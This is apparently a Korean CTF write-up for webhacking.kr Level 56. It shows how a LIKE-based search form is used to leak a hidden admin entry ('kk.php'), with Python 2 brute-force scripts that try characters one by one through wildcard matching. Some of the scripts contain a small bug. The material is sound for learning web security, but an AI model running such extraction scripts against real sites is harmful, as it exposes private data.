Level 56
<table border=1> <tr> <td>no</td><td>id</td><td>subject</td><td>secret</td> </tr> <tr> <td>1</td><td>admin</td><td><a href=?read=admin>readme</a></td><td>0</td> </tr> <tr> <td>2</td><td>guest</td><td><a href=?read=guest>hi~</a></td><td>1</td> </tr> </table> <form method=post action=index.php>search : <input name=search size=50 maxlength=50><input type=submit> </form>
소스 코드에서 불필요한 부분은 제거한 코드이다. 소스코드에 별다른게 없어 search 에 문자를 무작위로 넣고 제출해보았다.
테이블에 아무런 정보가 뜨지 않는다.
입력 값에 따라서 테이블에 나오는 값이 달랐다.
'_'를 4개 넣어보니 admin만 출력 되었다. 즉, like 명령어를 통해 조회하고 있음을 알 수 있었다.
테스트 결과 쿼리문은 select * from broad where subject like '%$search%'
라고 생각되어진다.
LIKE는 특정 문자열 정보가 포함된 데이터를 뽑을 때 사용한다. LIKE에서 '_' 를 이용하여 글자수를 나타낸다.
밑줄 문자 '_' 를 사용하여
LIKE
및PATINDEX
와 같은 패턴 일치가 표함된 문자열 비교 작업에서 단일 문자와 일치하도록 한다.
그러면 '_'를 이용하여 admin의 검색 스트링이 6글자 인 것을 알 수 있었다.
#coding:utf-8 from socket import * from urllib2 import * from socket import * from string import * import urllib2, re, string # 세션값 SESSION = "aaaaaaaa" # 검색 값 search = "" # 범위 code = string.ascii_letters + string.digits + string.punctuation code = string.replace('_', '') for j in range(0,6): for i in code: req = urllib2.Request("http://webhacking.kr/challenge/web/web-33/index.php", data=("search=" + (search+i))) req.add_header("Cookie","PHPSESSID=%s" %SESSION) res = urllib2.urlopen(req).read() print "Searching : %s" % search+i if (res.find("admin") != -1) and (res.find("hi~") == -1): search += str(i) print "Searched : %s\n" % search break
위 코드를 이용하여 파싱을 하였다.
%값이 출력되었다. (진작에 뺏어야 되는데... 시간낭비 😢)
like에서 %기호는 앞 또는 뒤의 문자열을 무시할 경우 사용한다. 예를들어, %me%라고 검색하면 me가 들어가는 모든것들이 검색하게 된다. %me 라고 검색하면 앞에 문자 상관없이 me로 끝나는 모든 것들을 검색한다.
따라서 %가 들어가게되면 정확한 값을 찾을 수 없으므로 제거하고 다시 파싱 하였다.. 😒
시간 절약하는 차원에서 앞서 나온 'kk'로 시작하도록 하였다.
# 검색 값 search = "kk" # 범위 code = string.ascii_letters + string.digits + string.punctuation code = code.replace('_', '') code = code.replace('%', '') for j in range(0,4): for i in code: req = urllib2.Request("http://webhacking.kr/challenge/web/web-33/index.php", data=("search=" + (search+i))) req.add_header("Cookie","PHPSESSID=%s" %SESSION) res = urllib2.urlopen(req).read() print "Searching : %s" % search+i if (res.find("admin") != -1) and (res.find("hi~") == -1): search += str(i) print "Searched : %s\n" % search break
'&' 도 빼야댐... 삽질중...😩
kk.php라는 값을 찾아냈다. 아래는 최종코드
#coding:utf-8 from socket import * from urllib2 import * from socket import * from string import * import urllib2, re, string # 세션값 SESSION = "aaaaaaaaaa" # 검색 값 search = "" # 범위 code = string.ascii_letters + string.digits + string.punctuation code = string.replace('_', '').replace('%', '').replace('&', '') for j in range(0,6): for i in code: req = urllib2.Request("http://webhacking.kr/challenge/web/web-33/index.php", data=("search=" + (search+i))) req.add_header("Cookie","PHPSESSID=%s" %SESSION) res = urllib2.urlopen(req).read() print "Searching : %s" % search+i if (res.find("admin") != -1) and (res.find("hi~") == -1): search += str(i) print "Searched : %s\n" % search break
딱봐도 파일 이름이다. url에 넣어보자.